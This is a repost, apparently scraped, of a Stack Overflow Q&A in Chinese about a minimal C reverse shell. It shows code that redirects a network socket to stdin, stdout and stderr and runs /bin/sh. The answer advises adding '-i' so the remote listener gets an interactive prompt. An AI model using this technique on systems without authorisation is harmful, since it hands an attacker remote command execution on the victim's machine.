gpt4 book ai didi

c - 在反向 shell 中打印当前目录

转载 作者:行者123 更新时间:2023-11-30 14:49:15 24 4
gpt4 key购买 nike

我尝试用 C 语言构建一个非常小的反向 shell。

连接有效,命令也被执行,但我想知道如何打印当前目录。到目前为止我的代码:

客户端:

// [...]
// creating socket
// connect

void handle_connection(socket_t* sock, char** argv, char** env) {
// redirect stdout, stdin, stderr
for (int i = 0; i <= 2; i++)
dup2(*sock, i);

execve("/bin/sh", argv, env);
}

在服务器端,我只使用 nc,效果很好。但当前目录没有像往常一样打印出来。 F. 前。如果我发送“cd [...]”,则根本没有输出。

如何将当前目录发送到服务器?

感谢您的帮助。

最佳答案

如果您想查看当前目录,请运行pwd命令。

cd 命令不打印任何输出。因此您将看不到任何输出。

如果您以交互方式运行 shell,shell 会打印 prompt执行命令后。某些 shell,或者根据您的配置,该提示可能包括当前工作目录。

但是当您将套接字连接到 shell stdin/out/err 时,shell 会发现它不处于交互模式,并且不会显示提示。仅运行 cd 命令不会给您任何输出。

您可以强制 shell 进入交互模式,在这种情况下,它应该在每个命令后打印提示,运行

execl("/bin/sh", "/bin/sh/", "-i", NULL);

(或者找到某种方法在 execve() 调用中添加“-i”参数)

关于c - 在反向 shell 中打印当前目录,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/49778841/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com